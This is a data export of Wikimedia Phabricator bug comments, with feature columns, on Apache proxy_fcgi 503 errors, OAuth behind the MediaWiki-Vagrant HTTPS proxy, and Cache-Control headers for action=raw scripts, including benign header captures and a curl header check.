327197,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)",https://issues.apache.org/bugzilla/show_bug.cgi?id=52879,,,1412952905,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,1,True,,,-38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
327193,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","So, both these lines of errors have been showed to be basically bogus.

I think the only way to filter/silence them is to patch apache directly.

@Erik: never look at trunk for apache sources, but to our specific version, which is 2.4.7

The only way to make these alarms go away is to backport patches that corrected logging.

IDK if we want to invest that kind of time in such an activity.",,,1412952313,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,1,True,,,-38,True,0.0,0.0,0.0,1.0,0.0,5.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,3.0,0.0,6.0,15.0,0.0,7.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,15.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,6.0,6.0,1.0,2.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,5.0,15.0,1.0,0.0,0.0,0.0,5.0,0.0,2.0,1.0,1.0,1.0,0.0,0.0,0.0,3.8255813953488373,0.7558139534883721,"So, both these lines of errors have been showed to be basically bogus.

I think the only way to filter/silence them is to patch apache directly.
SCREEN_NAME: never look at trunk for apache sources, but to our specific version, which is 2.4.7

The only way to make these alarms go away is to backport patches that corrected logging.

IDK if we want to invest that kind of time in such an activity."
327188,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","According to httpd[1] ""Got bogus version 1"" refers to the first byte in every fastcgi record.  Per the spec[2] the only valid value there is 1.  Something odd is going on, but without a capture of the packets i couldn't say what.


[1] https://github.com/apache/httpd/blob/trunk/modules/proxy/mod_proxy_fcgi.c#L525
[2] http://www.fastcgi.com/devkit/doc/fcgi-spec.html#S3.3",,,1412118610,,PHID-USER-r5pzlcquei6f4hb53rfg,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,1,False,,,-40,True,2.0,2.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,2.0,0.0,2.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,8.0,3.0,10.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,2.0,11.0,3.0,0.0,3.0,0.0,2.0,0.0,2.0,2.0,0.0,3.0,0.0,0.0,3.0,3.238095238095238,0.746031746031746,"According to httpd[1] ""Got bogus version 1"" refers to the first byte in every fastcgi record.  Per the spec[2] the only valid value there is 1.  Something odd is going on, but without a capture of the packets i couldn't say what.


[1] URL
[2] URL"
72964,"oauth plugin doesn't work in vagrant, seemingly due to the https reverse-proxy","When attempting to test mediawiki oauth against a test instance of mediawiki vagrant, something is stripping the auth headers from the https request. I think it's related to the nginx reverse proxy but I couldn't find anything wrong with the nginx config or anything else that looked like an obvious problem.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=73510",Low,25.0,1410991260,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,False,PHID-TASK-32irtnmgs2xfzwx76kew,task_description,open,True,c3,1,True,False,,-42,True,0.0,4.0,0.0,0.0,1.0,8.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,5.0,8.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,7.0,1.0,10.0,1.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,8.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.130952380952381,0.6904761904761905,"When attempting to test mediawiki oauth against a test instance of mediawiki vagrant, something is stripping the auth headers from the https request. I think it's related to the nginx reverse proxy but I couldn't find anything wrong with the nginx config or anything else that looked like an obvious problem.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
326843,"oauth plugin doesn't work in vagrant, seemingly due to the https reverse-proxy",See also bug 73510 related to the non-standard HTTPS port + reverse proxy. Possibly OAuth doesn’t like non-standard port and/or isn’t aware a non-standard port is used.,,,1416219587,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-32irtnmgs2xfzwx76kew,task_subcomment,,True,c3,1,False,,,-33,True,0.0,0.0,0.0,3.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,11.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.8378378378378377,0.7027027027027027,See also bug 73510 related to the non-standard HTTPS port + reverse proxy. Possibly OAuth doesn’t like non-standard port and/or isn’t aware a non-standard port is used.
326838,"oauth plugin doesn't work in vagrant, seemingly due to the https reverse-proxy","@bd808: I'm planning to test this further, just filed to bug to remind myself because it had slipped my mind for a while and I didn't want to forget it again.",,,1411096040,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-32irtnmgs2xfzwx76kew,task_subcomment,,True,c3,1,True,,,-41,True,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,0.0,11.0,17.0,0.0,8.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.6944444444444446,0.8611111111111112,"SCREEN_NAME: I'm planning to test this further, just filed to bug to remind myself because it had slipped my mind for a while and I didn't want to forget it again."
326833,"oauth plugin doesn't work in vagrant, seemingly due to the https reverse-proxy","It's the standard mediawiki vagrant box, not customized in any significant way.

I'm referring to the proxy that sits between mediawiki and the world outside the VM connecting to the forwarded port 4430 for https.

This is set up by the puppet rules for the https role in mediawiki vagrant.",,,1411095900,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-32irtnmgs2xfzwx76kew,task_subcomment,,True,c3,1,True,,,-41,True,2.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,2.0,7.0,0.0,2.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,17.0,10.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,4.189655172413793,0.7241379310344828,"It's the standard mediawiki vagrant box, not customized in any significant way.

I'm referring to the proxy that sits between mediawiki and the world outside the VM connecting to the forwarded port 4430 for https.

This is set up by the puppet rules for the https role in mediawiki vagrant."
326830,"oauth plugin doesn't work in vagrant, seemingly due to the https reverse-proxy","(In reply to Mukunda Modell from comment #0)
> ... related to the nginx reverse proxy ...

Which nginx reverse proxy? Could you describe your testing environment in more detail?",,,1410991511,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-32irtnmgs2xfzwx76kew,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,7.0,14.0,7.0,7.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,4.103448275862069,0.9655172413793104,"(In reply to Mukunda Modell from comment #0)
QUOTE

Which nginx reverse proxy? Could you describe your testing environment in more detail?"
71460,action=raw should allow public HTTP caching where possible,"**Author:** `metatron`

**Description:**
When loading a gagdget or custom script from eg. meta/mediawiki/enwiki with

-mw.loader.load('//meta.wikimedia.org/w/index.php?title=...&action=raw&ctype=...')

the responded cache-control directive is 
- private, s-maxage=0, max-age=0, must-revalidate

which prevents these scripts from being cached properly and causes a lag (40-500ms) on each call.

(IMHO JS pages should have a reasonable default > 0)



Example with requested cache:
```
Remote Address:xx.xx.xx.xx:443
Request URL:https://meta.wikimedia.org/w/index.php?title=User:Hedonil/Test/XTools.js&action=raw&ctype=text/javascript&maxage=86400&smaxage=86400
Request Method:GET
Status Code:304 Not Modified
Request Headersview source
Accept:*/*
Accept-Encoding:gzip,deflate,sdch
Accept-Language:en,no;q=0.8,nb;q=0.6,vi;q=0.4,nl;q=0.2,zh;q=0.2,ru;q=0.2,en-US;q=0.2,zh-CN;q=0.2,zh-TW;q=0.2
Connection:keep-alive
metawikiUserID=..centralauth_User..
Host:meta.wikimedia.org
If-Modified-Since:Wed, 13 Aug 2014 04:18:39 GMT
Referer:https://en.wikipedia.org/wiki/Charles_Schild
User-Agent:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Query String Parametersview sourceview URL encoded
title:User:Hedonil/Test/XTools.js
action:raw
ctype:text/javascript
maxage:86400
smaxage:86400
Response Headersview source
Accept-Ranges:bytes
Age:0
Cache-Control:private, s-maxage=0, max-age=0, must-revalidate
Connection:keep-alive
Content-Encoding:gzip
Content-Type:text/javascript; charset=UTF-8
Date:Wed, 13 Aug 2014 07:55:42 GMT
Last-modified:Wed, 13 Aug 2014 04:18:39 GMT
Server:nginx/1.1.19
Vary:Accept-Encoding
Via:1.1 varnish, 1.1 varnish, 1.1 varnish
X-Cache:cp1065 miss (0), amssq50 miss (0), amssq31 frontend miss (0)
X-Content-Type-Options:nosniff
X-Varnish:948365503, 2378009697, 4022640906
ConsoleSearchEmulationRendering
```

Example without requested directive:

```
Remote Address:xx.xx.xx.xx:443
Request URL:https://en.wikipedia.org/w/index.php?title=MediaWiki%3AGadget-HotCat.js%2Flocal_defaults&action=raw&ctype=text/javascript
Request Method:GET
Status Code:304 Not Modified
Request Headersview source
Accept:*/*
Accept-Encoding:gzip,deflate,sdch
Accept-Language:en,no;q=0.8,nb;q=0.6,vi;q=0.4,nl;q=0.2,zh;q=0.2,ru;q=0.2,en-US;q=0.2,zh-CN;q=0.2,zh-TW;q=0.2
Connection:keep-alive
Cookie:enwikiSession=..centralauth_User=...
Host:en.wikipedia.org
If-Modified-Since:Mon, 23 Jun 2014 19:15:43 GMT
Referer:https://en.wikipedia.org/wiki/Charles_Schild
User-Agent:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Query String Parametersview sourceview URL encoded
title:MediaWiki:Gadget-HotCat.js/local_defaults
action:raw
ctype:text/javascript
Response Headersview source
Accept-Ranges:bytes
Age:0
Cache-Control:private, s-maxage=0, max-age=0, must-revalidate
Connection:keep-alive
Content-Encoding:gzip
Content-Type:text/javascript; charset=UTF-8
Date:Wed, 13 Aug 2014 07:55:42 GMT
Last-modified:Mon, 23 Jun 2014 19:15:43 GMT
Server:nginx/1.1.19
Vary:Accept-Encoding
Via:1.1 varnish, 1.1 varnish, 1.1 varnish
X-Cache:cp1053 miss (0), amssq55 miss (0), amssq54 frontend miss (0)
X-Content-Type-Options:nosniff
X-Varnish:2605122819, 917135542, 2533692991
```",Low,25.0,1407918660,1689822186.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_description,resolved,True,c3,1,False,False,False,-47,True,1.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,3.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.5,5.5,0.5,1.5,5.5,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,0.0,3.5,10.5,0.0,0.5,0.0,0.0,0.0,1.5,2.5,0.0,0.5,0.0,0.0,1.0,3.9732142857142856,0.7767857142857142,"**Author:** CODE

**Description:**
When loading a gagdget or custom script from eg. meta/mediawiki/enwiki with

-mw.loader.load('//meta.wikimedia.org/w/index.php?title=...&action=raw&ctype=...')

the responded cache-control directive is 
- private, s-maxage=0, max-age=0, must-revalidate

which prevents these scripts from being cached properly and causes a lag (40-500ms) on each call.

(IMHO JS pages should have a reasonable default > 0)



Example with requested cache:
``CODE`CODE`CODE``"
2162312,action=raw should allow public HTTP caching where possible,"The originally stated description was solved. The issue of CDN caching for logged-in users is filed at {T279120}.


> the responded cache-control directive is
> `private, s-maxage=0, max-age=0, must-revalidate`

The s-maxage is traditionally for cache proxies, such as the Wikimedia CDN. However, to avoid stale content, we artificially change this to `s-maxage=0` at our CDN layer. The reason is to avoid cache proxies elsewhere in the world (outside our control) from storing obsolete copies.

This might make it look like that MediaWiki is sending s-maxage=0 to the CDN, but it is not. It is sending a higher value, and then when we send it from the CDN cache to the browser, we change it to `0`.

To prove this, check the other headers:

```
curl -I 'https://pl.wikipedia.org/w/index.php?action=raw&ctype=text/css&title=Wikipedysta:Msz2001/sourcecode-links.css'

last-modified: Sun, 04 Sep 2022 13:22:02 GMT
x-cache: …, cp3056 hit/2
x-cache-status: hit-front
age: 524
cache-control: private, s-maxage=0, max-age=0, must-revalidate
```

The `x-cache` shows that Varnish (Wikimedia CDN) served it directly from the cache (""hit""). The `age` header shows how long ago it was added to the cache (524 second, or 8 minutes, ago).

",,,1689822520,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,3,True,,,420,True,0.0,0.0,0.0,1.5,0.5,3.5,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.5,0.0,6.5,10.5,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.5,0.0,0.5,5.5,2.0,3.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,15.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,6.5,4.5,11.0,1.0,1.5,8.5,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,6.0,10.5,5.5,0.0,0.0,0.0,6.0,0.0,1.0,0.5,0.0,2.0,0.5,0.0,0.0,3.67816091954023,0.6781609195402298,"The originally stated description was solved. The issue of CDN caching for logged-in users is filed at {T279120}.


QUOTE
QUOTE

The s-maxage is traditionally for cache proxies, such as the Wikimedia CDN. However, to avoid stale content, we artificially change this to CODE at our CDN layer. The reason is to avoid cache proxies elsewhere in the world (outside our control) from storing obsolete copies.

This might make it look like that MediaWiki is sending s-maxage=0 to the CDN, but it is not. It is sending a higher value, and then when we send it from the CDN cache to the browser, we change it to CODE.

To prove this, check the other headers:

``CODE`CODEx-cacheCODEage` header shows how long ago it was added to the cache (524 second, or 8 minutes, ago).

"
2162311,action=raw should allow public HTTP caching where possible,"The originally stated description was solved. The issue of CDN caching for logged-in users is filed at {T279120}.


> the responded cache-control directive is
> `private, s-maxage=0, max-age=0, must-revalidate`

The s-maxage is traditionally for cache proxies, such as the Wikimedia CDN. However, to avoid stale content, we artificially change this to `s-maxage=0` at our CDN layer. The reason is to avoid cache proxies elsewhere in the world (outside our control) from storing obsolete copies.

This might make it look like that MediaWiki is sending s-maxage=0 to the CDN, but it is not. It is sending a higher value, and then when we send it from the CDN cache to the browser, we change it to `0`.

To prove this, check the other headers:

```
curl -I https://pl.wikipedia.org/w/index.php?action=raw&ctype=text/css&title=Wikipedysta:Msz2001/sourcecode-links.css

last-modified: Sun, 04 Sep 2022 13:22:02 GMT
x-cache: …, cp3056 hit/2
x-cache-status: hit-front
age: 524
cache-control: private, s-maxage=0, max-age=0, must-revalidate
```

The `x-cache` shows that Varnish (Wikimedia CDN) served it directly from the cache (""hit""). The `age` header shows how long ago it was added to the cache (524 second, or 8 minutes, ago).

",,,1689822503,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,3,True,,,420,True,0.0,0.0,0.0,1.5,0.5,3.5,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.5,0.0,6.5,10.5,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.5,0.0,0.5,5.5,2.0,3.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,15.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,6.5,4.5,11.0,1.0,1.5,8.5,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,6.0,10.5,5.5,0.0,0.0,0.0,6.0,0.0,1.0,0.5,0.0,2.0,0.5,0.0,0.0,3.67816091954023,0.6781609195402298,"The originally stated description was solved. The issue of CDN caching for logged-in users is filed at {T279120}.


QUOTE
QUOTE

The s-maxage is traditionally for cache proxies, such as the Wikimedia CDN. However, to avoid stale content, we artificially change this to CODE at our CDN layer. The reason is to avoid cache proxies elsewhere in the world (outside our control) from storing obsolete copies.

This might make it look like that MediaWiki is sending s-maxage=0 to the CDN, but it is not. It is sending a higher value, and then when we send it from the CDN cache to the browser, we change it to CODE.

To prove this, check the other headers:

``CODE`CODEx-cacheCODEage` header shows how long ago it was added to the cache (524 second, or 8 minutes, ago).

"
2162306,action=raw should allow public HTTP caching where possible,The originally stated description was solved. The issue of CDN caching for logged-in users is filed at {T279120}.,,,1689822187,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,3,True,,,420,True,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,8.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.9166666666666666,The originally stated description was solved. The issue of CDN caching for logged-in users is filed at {T279120}.
2162305,action=raw should allow public HTTP caching where possible,">>! In T71460#8947620, @Nux wrote:
> […] There some docs that still mention them, notably in the raw action section here: https://www.mediawiki.org/wiki/Manual:Parameters_to_index.php#Raw
> 
> The docs seems to suggest this should be better:
> ```
> mw.loader.load(""https://pl.wikipedia.org/w/index.php?action=raw&ctype=text/css&smaxage=86400&maxage=259200&title=Wikipedysta:Msz2001/sourcecode-links.css"", ""text/css"");
> ```
> Then this:
> ```
> mw.loader.load(""https://pl.wikipedia.org/w/index.php?action=raw&ctype=text/css&title=Wikipedysta:Msz2001/sourcecode-links.css"", ""text/css"");
> ```
> 
> But looking at the headers and the fact that the raw call sometimes sets cookies, it seems docs are wrong, right? :-)

Indeed, when logged-out, both of these URLs enjoy the same CDN caching, and neither of them permits unrestricted browser caching. A notable difference is that when the page is edited, only the second one will automatically be purged and updated. The first one will stay out of date on the CDN because its URL is non-standard (not ""canonical""), and so it is not known when we save an edit that this URL might exist in the cache, as there are infinite variations one could make with these parameters.

When logged-in, action=raw is not cached by the CDN, no matter which parameters are set.

The only thing these parameters do, is make the URL non-standard, and thus its CDN cache entry (for logged-out browsers) will remain stale for up to 24 hours after editing.",,,1689822102,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,3,True,,,420,True,0.0,0.0,0.0,2.5,1.5,9.0,1.0,0.5,0.0,0.0,2.0,0.0,0.0,1.0,0.5,0.5,0.0,7.5,10.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,1.5,0.0,6.5,0.5,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,1.0,0.5,0.0,0.5,0.0,0.0,13.5,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.5,5.5,4.5,10.5,3.5,2.0,9.5,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,3.0,10.5,4.5,0.0,1.0,0.0,3.0,0.0,2.5,1.0,0.5,0.5,0.0,0.0,0.0,3.708791208791209,0.6813186813186813,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Indeed, when logged-out, both of these URLs enjoy the same CDN caching, and neither of them permits unrestricted browser caching. A notable difference is that when the page is edited, only the second one will automatically be purged and updated. The first one will stay out of date on the CDN because its URL is non-standard (not ""canonical""), and so it is not known when we save an edit that this URL might exist in the cache, as there are infinite variations one could make with these parameters.

When logged-in, action=raw is not cached by the CDN, no matter which parameters are set.

The only thing these parameters do, is make the URL non-standard, and thus its CDN cache entry (for logged-out browsers) will remain stale for up to 24 hours after editing."
2145277,action=raw should allow public HTTP caching where possible,"> The scripts are not re-downloaded every time you view a page, and there is no need to add any bcache, maxage or smaxage parameters to MediaWiki urls, these do not improve performance anymore. Performance is our default, as much as possible.

So, are `maxage` and `smaxage` obsolete? There some docs that still mention them, notably in the raw action section here:
https://www.mediawiki.org/wiki/Manual:Parameters_to_index.php#Raw

The docs seems to suggest this should be better:
```
mw.loader.load(""https://pl.wikipedia.org/w/index.php?action=raw&ctype=text/css&smaxage=86400&maxage=259200&title=Wikipedysta:Msz2001/sourcecode-links.css"", ""text/css"");
```
Then this:
```
mw.loader.load(""https://pl.wikipedia.org/w/index.php?action=raw&ctype=text/css&title=Wikipedysta:Msz2001/sourcecode-links.css"", ""text/css"");
```

But looking at the headers and the fact that the raw call sometimes sets cookies, it seems docs are wrong, right? :-)",,,1687209599,,PHID-USER-awklupbdn3wr6glu7nyx,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,3,False,,,415,True,1.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,6.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,3.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,0.0,3.0,1.0,1.0,0.0,11.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,7.0,4.0,13.0,1.0,4.0,10.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,6.0,4.0,3.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,0.0,3.704225352112676,0.6901408450704225,"QUOTE

So, are CODE and CODE obsolete? There some docs that still mention them, notably in the raw action section here:
URL

The docs seems to suggest this should be better:
``CODE`CODE`CODE``

But looking at the headers and the fact that the raw call sometimes sets cookies, it seems docs are wrong, right? :-)"
2145274,action=raw should allow public HTTP caching where possible,"> The scripts are not re-downloaded every time you view a page, and there is no need to add any bcache, maxage or smaxage parameters to MediaWiki urls, these do not improve performance anymore. Performance is our default, as much as possible.

So are `maxage` and `smaxage` obsolete? There some docs that still mention those. Notably on the raw action:
https://www.mediawiki.org/wiki/Manual:Parameters_to_index.php#Raw

The docs seems to suggest this should be better:
```
mw.loader.load(""https://pl.wikipedia.org/w/index.php?action=raw&ctype=text/css&smaxage=86400&maxage=259200&title=Wikipedysta:Msz2001/sourcecode-links.css"", ""text/css"");
```
Then this:
```
mw.loader.load(""https://pl.wikipedia.org/w/index.php?action=raw&ctype=text/css&title=Wikipedysta:Msz2001/sourcecode-links.css"", ""text/css"");
```

But looking at the headers and the fact that the raw call sometimes sets cookies, it seems docs are wrong, right? :-)",,,1687209453,,PHID-USER-awklupbdn3wr6glu7nyx,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,3,False,,,415,True,1.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,6.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,3.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,1.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,7.0,4.0,15.0,1.0,4.0,12.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,6.0,4.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,3.7058823529411766,0.7058823529411765,"QUOTE

So are CODE and CODE obsolete? There some docs that still mention those. Notably on the raw action:
URL

The docs seems to suggest this should be better:
``CODE`CODE`CODE``

But looking at the headers and the fact that the raw call sometimes sets cookies, it seems docs are wrong, right? :-)"
1277822,action=raw should allow public HTTP caching where possible,"@AfroThundr3007730 There are no plans to do that currently. These cannot be safely cached for security and privacy reasons, as such they are intentionally set to `0`.

Note that max-age=0,private does not mean they are not cached. It simply means they are not unconditionally re-used by the CDN and your browser, which is not the same as caching.

Your browser does cache these, and does re-use the downloaded script between pages. The only thing it does is transfer a very small message in the background when loading a page to check if the script has changed since your last page view (this means edits will immediately apply, which is nice).


